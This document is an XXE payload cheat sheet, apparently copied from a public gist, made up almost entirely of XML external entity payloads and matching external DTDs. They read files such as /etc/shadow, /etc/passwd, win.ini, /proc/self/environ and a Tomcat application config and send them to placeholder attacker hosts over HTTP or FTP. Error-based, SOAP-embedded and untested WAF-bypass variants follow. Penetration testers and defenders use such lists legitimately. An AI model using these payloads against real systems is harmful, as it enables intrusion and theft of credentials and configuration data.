XXE Cheatsheet

XXE Cheatsheet

XXE Cheatsheet

From:https://gist.githubusercontent.com/staaldraad/01415b990939494879b4/raw/25cff41582552aee47b06526d568f5785af67deb/XXE_payloads

Vanilla, used to verify outbound xxe or blind xxe

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

OoB extraction

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

External dtd:

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

OoB variation of above (seems to work better against .NET)

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>

External dtd:

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

OoB extraction

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>

External dtd:

<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

OoB extra ERROR -- Java

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>

External dtd:

<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;

OoB extra nice

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY % start "<![CDATA[">
 <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>

External dtd:

<!ENTITY all "%start;%stuff;%end;">

File-not-found exception based extraction

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [  
  <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
  %one;
  %two;
  %four;
]>

External dtd:

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

• You might need to encode this % (depends on your target) as: %

FTP

<?xml version="1.0" ?>
<!DOCTYPE a [ 
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>

External dtd:

<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

Inside SOAP body

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

Untested - WAF Bypass

<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"